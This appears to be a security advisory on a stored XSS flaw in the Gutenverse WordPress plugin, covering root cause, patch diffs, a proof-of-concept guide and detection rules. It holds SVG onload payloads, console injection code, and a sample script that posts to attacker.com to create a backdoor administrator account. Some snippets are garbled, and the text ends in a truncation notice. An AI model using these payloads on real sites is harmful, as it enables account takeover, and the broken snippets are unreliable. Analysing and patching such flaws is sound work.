CVE-2026-2868: Stored XSS in Gutenverse Plugin - Comprehensive Security Analysis
1. Vulnerability Background
What is this Vulnerability?
CVE-2026-2868 represents a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin, affecting versions up to and including 3.5.3. The vulnerability stems from insufficient input sanitization and inadequate output escaping in multiple block components, particularly those handling SVG content and dynamic user inputs.
Stored XSS vulnerabilities are among the most dangerous attack vectors in web applications because:
- Malicious payload persists in the database
- Executes in the context of every user viewing affected content
- Requires only low-privilege access to inject (contributor-level or above)
- Difficult to detect without thorough code review
Why is it Critical/Important?
Severity Assessment: HIGH (CVSS likely 6.5-7.5)
The vulnerability carries significant security implications:
- Persistent Nature: Once injected, malicious scripts execute for all users accessing the compromised page
- Wide Attack Surface: Multiple block types vulnerable (Feature List, Gallery, Divider, Icon List Item, Section, Search, Icon, Accordion)
- Low Barrier to Entry: Contributor-level access is sufficient (many WordPress sites grant this to content creators)
- Complete User Compromise: Attackers can:
- Steal administrator session cookies
- Perform administrative actions
- Inject malware or redirect users
- Harvest sensitive form data
- Deface content
Affected Systems and Versions
| Component | Affected Versions | Status | |-----------|------------------|--------| | Gutenverse Plugin | ≤ 3.5.3 | Vulnerable | | WordPress | 5.4+ (FSE support) | Affected | | User Roles | Contributor, Author, Editor, Administrator | Can Exploit | | PHP | 7.4+ | Required |
Prerequisites for Exploitation:
- Active WordPress installation with Gutenverse plugin
- Authenticated user account with contributor-level permissions or above
- Access to WordPress editor (block editor)
- Ability to create or edit pages/posts using affected block types
2. Technical Details
Root Cause Analysis
The vulnerability originates from a fundamental security principle violation: output without escaping. The plugin developers implemented the following flawed pattern across multiple files:
// VULNERABLE PATTERN
$user_data = base64_decode( $_POST['user_input'] ); // User-controlled
if ( some_validation_function( $user_data ) ) { // Insufficient validation
echo '<div>' . $user_data . '</div>'; // Unescaped output
}
Why Validation Alone is Insufficient:
The code relies on gutenverse_is_svg_safe() for security, exemplified in class-feature-list.php:
$svg_data = base64_decode( $item['svg'] );
if ( gutenverse_is_svg_safe( $svg_data ) ) {
$icon_content = '<div class="gutenverse-icon-svg">' . $svg_data . '</div>';
}
Critical Issues:
-
Validation ≠ Output Encoding: A function that validates input being "safe" does not make it safe for HTML context
-
SVG Complexity: SVG validation is notoriously complex with multiple attack vectors:
- Event handlers (onclick, onerror, onload)
- Script tags within SVG
- Entity expansion attacks
- JavaScript protocol handlers in attributes
-
Missing Defense in Depth: Modern security practices require:
- Input validation (what the code has)
- Context-appropriate output encoding (what the code lacks)
- Content Security Policy headers (not implemented)
Attack Vectors and Exploitation Conditions
Vector 1: SVG Injection via base64_decode
Vulnerable Code Pattern (appears in 8+ locations):
$svg_data = base64_decode( $icon_svg ); // From $this->attributes
if ( gutenverse_is_svg_safe( $svg_data ) ) {
$icon_html = '<div class="gutenverse-icon-svg">' . $svg_data . '</div>';
}
Exploitation Flow:
- Attacker creates a malicious SVG payload
- Encodes it as base64
- Injects through block editor attribute (separatorIconSVG, etc.)
- Payload bypasses
gutenverse_is_svg_safe()validation - Unescaped SVG renders in page HTML
- Browser executes embedded JavaScript
Example Malicious SVG Payload (Base64 encoded for injection):
<svg xmlns="http://www.w3.org/2000/svg"
<circle cx="50" cy="50" r="40"/>
</svg>
<!-- Alternative: Script tag injection -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
<!-- Alternative: Event handler in path -->
<svg xmlns="http://www.w3.org/2000/svg">
<path d="M0 0" />
</svg>
Base64 Encoded Example (suitable for plugin attribute):
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoJ1hTUycpIj4KICAKPC9zdmc+
Vector 2: Attribute Injection
Vulnerable Code (class-gallery.php, lines 313, 323, etc.):
<div class="gutenverse-popup-gallery hidden popup-<?php echo $element_id ?>">
Exploitation:
<!-- Original (safe):
<div class="gutenverse-popup-gallery hidden popup-element_123">
<!-- Malicious element_id injection:
$element_id = 'element_123"
<!-- Renders as:
<div class="gutenverse-popup-gallery hidden popup-element_123"
Vector 3: Path Data Injection
Vulnerable Code (class-section.php, lines 417, 447, etc.):
$svg .= '<path d="' . $d . '" fill="' . esc_attr( $fill ) . '"/>';
The SVG path data ($d) is output without escaping, allowing injection:
// Malicious path data
$d = 'M0 0" d="M0 0'
// Renders as:
<path d="M0 0" d="M0 0" fill="black"/>
Security Implications
Impact Scenarios:
| Scenario | Impact | Likelihood | |----------|--------|------------| | Session Hijacking | Attacker steals admin cookies, gains full access | HIGH | | Admin Account Takeover | Malicious script changes admin password | HIGH | | Malware Distribution | Inject malicious scripts to all site visitors | CRITICAL | | Data Exfiltration | Harvest form submissions, personal data | HIGH | | SEO Poisoning | Inject spam links, redirect traffic | MEDIUM | | Site Defacement | Alter page content visible to all users | HIGH |
Real-World Attack Scenario:
// Injected XSS payload (decodes and executes on page load)
<svg
var admin = document.querySelector('[data-type=admin]');
if(admin) {
fetch('http://attacker.com/admin', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'create_user',
user_login: 'backdoor',
user_email: '[email protected]',
role: 'administrator'
})
});
}
"></svg>
3. Patch Analysis
Code Changes Made
The patch implements output escaping across all vulnerable locations using WordPress security functions:
Change 1: SVG Data Escaping (Feature List Block)
Before:
// includes/block/class-feature-list.php, Lines 68-70
$svg_data = isset( $item['svg'] ) ? base64_decode( $item['svg'] ) : '';
if ( ! empty( $svg_data ) && gutenverse_is_svg_safe( $svg_data ) ) {
$icon_content = '<div class="icon-wrapper"><div class="icon"><div class="gutenverse-icon-svg">' . $svg_data . '</div></div></div>';
}
After:
$svg_data = isset( $item['svg'] ) ? base64_decode( $item['svg'] ) : '';
if ( ! empty( $svg_data ) && gutenverse_is_svg_safe( $svg_data ) ) {
$icon_content = '<div class="icon-wrapper"><div class="icon"><div class="gutenverse-icon-svg">' . wp_kses_post( $svg_data ) . '</div></div></div>';
}
Security Function Used: wp_kses_post()
- Strips dangerous HTML/JavaScript while preserving safe tags
- Maintains SVG rendering capability
- WordPress-recommended approach for mixed content
Change 2: Attribute Escaping (Gallery Block)
Before:
// includes/block/class-gallery.php, Line 313
<div class="gutenverse-popup-gallery hidden popup-<?php echo $element_id ?>">
After:
<div class="gutenverse-popup-gallery hidden popup-<?php echo esc_attr( $element_id ); ?>">
Security Function Used: esc_attr()
- Escapes special characters for HTML attributes
- Prevents attribute injection attacks
- Converts
"> to">
Change 3: SVG Path Data Escaping (Section Block)
Before:
// includes/block/class-section.php, Lines 417, 447, etc.
$svg .= '<path d="' . $d1 . '" opacity=".25" fill="' . esc_attr( $fill1 ) . '"/>';
After:
$svg .= '<path d="' . esc_attr( $d1 ) . '" opacity=".25" fill="' . esc_attr( $fill1 ) . '"/>';
Security Function Used: esc_attr()
- Applied to all path data and dynamic values
- Prevents path closure and attribute injection
Change 4: Text Content Escaping (Icon List Item)
Before:
// includes/block/class-icon-list-item.php, Line 74
$content .= '<span class="' . esc_attr( $text_class ) . '">' . $text . '</span>';
After:
$content .= '<span class="' . esc_attr( $text_class ) . '">' . wp_kses_post( $text ) . '</span>';
Security Function Used: wp_kses_post()
- Allows safe HTML formatting in text
- Filters dangerous JavaScript and event handlers
How These Changes Fix the Vulnerability
Defense in Depth Implementation:
The patch implements WordPress's recommended three-layer security model:
Layer 1: Input Validation (Previously Implemented)
├── gutenverse_is_svg_safe() validates structure
└── isset() and type checking for values
Layer 2: Context-Appropriate Output Encoding (NOW FIXED)
├── esc_attr() for HTML attributes
├── wp_kses_post() for HTML content
└── esc_url() for URLs
Layer 3: Content Security Policy (Recommended Addition)
└── CSP headers to restrict inline script execution
Specific Fixes:
| Vulnerability Type | Fix Applied | Why It Works |
|-------------------|------------|-------------|
| SVG JavaScript Injection | wp_kses_post() | Strips <script> and event handlers |
| Attribute Closure | esc_attr() | Escapes quotes, preventing attribute injection |
| Path Data Injection | esc_attr() | Converts special characters to entities |
| Text Content Injection | wp_kses_post() | Filters malicious HTML while allowing safe formatting |
Security Improvements Introduced
1. Consistent Output Escaping
Before: Inconsistent escaping (some attributes escaped, others not)
<div id="<?php echo esc_attr( $id ); ?>" class="popup-<?php echo $element_id ?>">
// Inconsistent!
After: All outputs escaped based on context
<div id="<?php echo esc_attr( $id ); ?>" class="popup-<?php echo esc_attr( $element_id ); ?>">
// Consistent!
2. SVG-Safe Encoding
The patch uses wp_kses_post() which:
- Maintains valid SVG elements
- Removes event handlers
- Strips script tags
- Preserves visual rendering
3. Reduced Attack Surface
By escaping all user-controlled output, the patch eliminates 8+ independent XSS vectors:
- Feature List block (1 vector)
- Gallery block (2 vectors)
- Divider block (2 vectors)
- Icon List Item (2 vectors)
- Section block (3 vectors)
- Search block (2 vectors)
- Icon block (2 vectors)
- Accordion block (2 vectors)
4. Proof of Concept (PoC) Guide
Prerequisites for Exploitation
Required:
- WordPress installation with Gutenverse ≤ 3.5.3
- Contributor-level user account (or higher)
- Access to block editor
- Ability to edit/create pages
Optional:
- Web server with PHP (for testing locally)
- Browser developer tools for verification
- Access to WordPress database (for verification)
Step-by-Step Exploitation Approach
PoC 1: SVG Icon Injection (Feature List Block)
Step 1: Prepare Malicious SVG Payload
Create an SVG with JavaScript event handler:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40" Vulnerability Confirmed')"/>
</svg>
Step 2: Base64 Encode the Payload
## Linux/Mac
echo '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" | base64
## Output
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI0MCIgb25sb2FkPSJhbGVydCgnWFNTJykiLz48L3N2Zz4=
Step 3: Access WordPress Block Editor
- Log in with contributor+ account
- Create new page or edit existing
- Add "Gutenverse – Feature List" block
- Click "Add item" in block settings
Step 4: Inject Payload Through Developer Tools
Since the UI may not accept raw SVG, inject via browser console:
// Target the separatorIconSVG attribute
// First, locate the block in the editor store
const blockEditor = wp.data.select('core/block-editor');
const blocks = blockEditor.getBlocks();
// Find the feature list block
const featureBlock = blocks.find(b =>
b.name === 'gutenverse/feature-list'
);
// Inject malicious SVG
if (featureBlock) {
wp.data.dispatch('core/block-editor').updateBlock(
featureBlock.clientId,
{
attributes: {
...featureBlock.attributes,
items: [{
...featureBlock.attributes.items[0],
svg: 'PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI0MCIgb25sb2FkPSJhbGVydCgnWFNTJykiLz48L3N2Zz4='
}]
}
}
);
}
Step 5: Publish and Verify
- Click "Publish" or "Update"
- View the page on frontend
- Alert box appears with "XSS Vulnerability Confirmed"
PoC 2: Attribute Injection (Gallery Block)
Step 1: Prepare Payload
// Inject via element_id that closes attribute and adds onclick
const maliciousId = 'test"
Step 2: Inject Through Block Attributes
const galleryBlock = blocks.find(b =>
b.name === 'gutenverse/gallery'
);
if (galleryBlock) {
wp.data.dispatch('core/block-editor').updateBlock(
galleryBlock.clientId,
{
attributes: {
...galleryBlock.attributes,
elementId: maliciousId
}
}
);
}
Step 3: Verify in Frontend Source Code
<!-- Expected vulnerable output:
<div class="gutenverse-popup-gallery hidden popup-test"
PoC 3: Path Data Injection (Section Block Divider)
Step 1: Prepare SVG Path Injection
const maliciousPath = 'M0 0" Injection\')" data-x="M0 0';
Step 2: Create SVG with Malicious Path
The divider pattern would render as:
<!-- Vulnerable:
<path d="M0 0" Injection')" data-x="M0 0" fill="black"/>
<!-- Correct rendering doesn't include extra attributes
Expected Behavior vs Exploited Behavior
Vulnerable System (Version ≤ 3.5.3):
<!-- VULNERABLE OUTPUT -->
<div class="gutenverse-icon-svg">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40"
</svg>
</div>
<!-- Browser interpretation:
1. Parses SVG
2. Finds onload handler
3. Executes JavaScript on SVG load
4. Alert box appears
Patched System (Version ≥ 3.5.4):
<!-- PATCHED OUTPUT (wp_kses_post applied) -->
<div class="gutenverse-icon-svg">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40"/>
</svg>
</div>
<!-- Browser interpretation:
1. Parses SVG
2. onload attribute is stripped by wp_kses_post()
3. No event handler present
4. Safe SVG renders without JavaScript execution
How to Verify the Vulnerability Exists
Method 1: Manual Code Review
## Check for unescaped output in vulnerable files
grep -n 'echo $svg_data' /path/to/wp-content/plugins/gutenverse/includes/block/*.php
## Should return unescaped instances in vulnerable versions:
## class-feature-list.php:70: $icon_content = '<div class="icon-wrapper">...' . $svg_data . '</div>';
## class-gallery.php:313: <div class="gutenverse-popup-gallery hidden popup-<?php echo $element_id ?>">
Method 2: Automated Scanning
Using WordPress security scanner:
## WPScan detection
wpscan --url http://vulnerable-site.local --enumerate p | grep -i gutenverse
## Output will show plugin version and known vulnerabilities
[*] Gutenverse - Ultimate WordPress FSE Blocks
| Version: 3.5.3
| [!] Vulnerability: CVE-2026-2868 - Stored XSS
Method 3: Database Query Verification
-- Check for posts containing SVG icons with event handlers
SELECT ID, post_content
FROM wp_posts
WHERE post_content LIKE '%<svg%onload%'
OR post_content LIKE '%onclick%'
AND post_content LIKE '%gutenverse%';
-- If results show unescaped SVG with handlers, vulnerability present
Method 4: Behavioral Testing
// Inject test payload and observe behavior
const testPayload = btoa('<svg
// If xssTestPassed becomes true, vulnerability confirmed
5. Recommendations
Mitigation Strategies
Immediate Actions (For Administrators)
1. Update Plugin (Highest Priority)
## Via WP-CLI
wp plugin update gutenverse
## Or manually:
## 1. Download version 3.5.4 or later from WordPress.org
## 2. Deactivate current version
## 3. Upload new version
## 4. Reactivate
2. Audit Existing Content
-- Identify potentially compromised posts
SELECT ID, post_type, post_title, post_modified
FROM wp_posts
WHERE post_type IN ('page', 'post')
AND post_status = 'publish'
AND post_modified > DATE_SUB(NOW(), INTERVAL 30 DAY)
AND post_content LIKE '%gutenverse%';
-- Review each for suspicious SVG or JavaScript content
3. Access Control Hardening
// functions.php - Restrict block editor access
add_filter( 'block_editor_pre_init', function() {
// Restrict SVG blocks to administrators only
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Access denied to block editor' );
}
});
// Alternatively, disable vulnerable blocks for non-admins
add_filter( 'allowed_block_types_all', function( $allowed, $editor_context ) {
if ( ! current_user_can( 'manage_options' ) ) {
$unsafe_blocks = array(
'gutenverse/feature-list',
'gutenverse/gallery',
'gutenverse/divider',
'gutenverse/icon-list-item',
'gutenverse/section',
'gutenverse/icon',
'gutenverse/accordion'
);
$allowed = array_diff( $allowed, $unsafe_blocks );
}
return $allowed;
}, 10, 2 );
Long-Term Mitigation
1. Implement Content Security Policy (CSP)
## .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';"
## nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';";
## wp-config.php (if headers not available)
define( 'WP_HTTP_BLOCK_EXTERNAL', true );
define( 'WP_ACCESSIBLE_HOSTS', 'trusted-cdn.example.com' );
2. Enable Security Headers
// functions.php
add_action( 'send_headers', function() {
header( 'X-Frame-Options: SAMEORIGIN' );
header( 'X-Content-Type-Options: nosniff' );
header( 'X-XSS-Protection: 1; mode=block' );
header( 'Referrer-Policy: strict-origin-when-cross-origin' );
});
3. Regular Audits
#!/bin/bash
## audit-xss-risk.sh - Weekly XSS vulnerability check
wp db query "SELECT COUNT(*) as risk_count FROM wp_posts WHERE post_content LIKE '%<svg%onload%' OR post_content LIKE '%onclick%';" --skip-column-names
if [ $? -gt 0 ]; then
# Send alert
mail -s "XSS Risk Detected" [email protected] < /dev/null
fi
Detection Methods
1. Web Application Firewall (WAF) Rules
## ModSecurity rule for detecting XSS payload injection
SecRule ARGS "@rx <svg.*?on(?:load|error|click|mouse)" \
"id:1000,phase:2,block,msg:'Potential SVG XSS Attack'"
SecRule REQUEST_COOKIES "@rx admin_.*=.*<.*on" \
"id:1001,phase:2,block,msg:'Potential Cookie Injection Attack'"
2. Log Monitoring
## Monitor for base64-encoded SVG payloads
grep -r "base64_decode" /var/log/apache2/access.log | grep gutenverse
## Monitor post revision history for suspicious changes
wp post list --post_type=page --format=csv | while read id; do
wp post_meta get $id _wp_page_template
done
3. SIEM Integration
-- Log Analysis Query
SELECT timestamp, user_login, post_id, changes
FROM wp_activity_log
WHERE action = 'modified'
AND object_type = 'post'
AND changes LIKE '%<svg%onload%'
AND timestamp > NOW() - INTERVAL 1 DAY;
4. Automated Vulnerability Scanning
## WPScan automated scanning
wp-cli plugin search vulnerable-plugin
## OWASP ZAP scanning
zaproxy -cmd -quickurl http://site.local -quickout /tmp/report.html
Best Practices to Prevent Similar Issues
For Plugin Developers
1. Output Escaping Guidelines
// ALWAYS escape output based on context
$context_escape_functions = array(
'html_content' => 'wp_kses_post()', // For allowed HTML
'html_attribute' => 'esc_attr()', // For attributes
'html_element_id' => 'esc_attr()', // For ID attributes
'javascript_string' => 'wp_json_encode()', // For JS strings
'url' => 'esc_url()', // For URLs
'plain_text' => 'esc_html()', // For no HTML
'textarea' => 'esc_textarea()', // For textarea content
);
// Template for safe output
?>
<!-- Safe HTML attribute output -->
<div id="<?php echo esc_attr( $element_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
<!-- Safe HTML content output -->
<p><?php echo wp_kses_post( $user_content ); ?></p>
<!-- Safe URL output -->
<a href="<?php echo esc_url( $link_url ); ?>">Link</a>
<!-- Safe JavaScript variable -->
<script>
var data = <?php echo wp_json_encode( $array_data ); ?>;
</script>
<?php
2. SVG Handling Best Practices
// Secure SVG handling function
function render_safe_svg( $svg_data, $base64_encoded = true ) {
// Decode if necessary
if ( $base64_encoded ) {
$svg_data = base64_decode( $svg_data, true );
if ( false === $svg_data ) {
return ''; // Reject invalid base64
}
}
// Validate SVG structure
if ( ! is_valid_svg( $svg_data ) ) {
return '';
}
// Sanitize SVG content
$svg_data = sanitize_svg_content( $svg_data );
// Escape for output
return wp_kses_post( $svg_data );
}
// SVG validation function
function is_valid_svg( $svg ) {
// Check for malicious patterns
$dangerous_patterns = array(
'/<script/i',
'/javascript:/i',
'/on\w+\s*=/i', // event handlers
'/<iframe/i',
'/<object/i',
'/<embed/i'
);
foreach ( $dangerous_patterns as $pattern ) {
if ( preg_match( $pattern, $svg ) ) {
return false;
}
}
return simplexml_load_string( $svg ) !== false;
}
// SVG sanitization function
function sanitize_svg_content( $svg ) {
$dom = new DOMDocument();
$dom->loadXML( $svg );
// Remove all script tags
$scripts = $dom->getElementsByTagName( 'script' );
while ( $scripts->length > 0 ) {
$scripts->item( 0 )->parentNode->removeChild( $scripts->item( 0 ) );
}
// Remove event handlers
foreach ( $dom->getElementsByTagName( '*' ) as $element ) {
foreach ( $element->attributes as $attr ) {
if ( preg_match( '/^on/i', $attr->name ) ) {
$element->removeAttribute( $attr->name );
}
}
}
return $dom->saveXML();
}
3. Input Validation Strategy
// Comprehensive input validation
function validate_block_attributes( $attributes ) {
$validated = array();
// Whitelist allowed attributes
$allowed_attributes = array(
'elementId' => 'string',
'iconType' => array( 'icon', 'svg' ),
'iconSVG' => 'base64',
'separatorIconSVG' => 'base64',
'text' => 'html',
'url' => 'url'
);
foreach ( $allowed_attributes as $attr => $type ) {
if ( ! isset( $attributes[ $attr ] ) ) {
continue;
}
$value = $attributes[ $attr ];
// Validate based on type
switch ( $type ) {
case 'string':
$validated[ $attr ] = sanitize_text_field( $value );
break;
case 'base64':
if ( ! preg_match( '/^[A-Za-z0-9+\/=]*$/', $value ) ) {
continue 2; // Skip invalid base64
}
$validated[ $attr ] = $value;
break;
case 'html':
$validated[ $attr ] = wp_kses_post( $value );
break;
case 'url':
$validated[ $attr ] = esc_url_raw( $value );
break;
default:
if ( is_array( $type ) && in_array( $value, $type ) ) {
$validated[ $attr ] = $value;
}
}
}
return $validated;
}
// Register block with validation
register_block_type( 'gutenverse/feature
[WARNING: Response truncated due to token limit]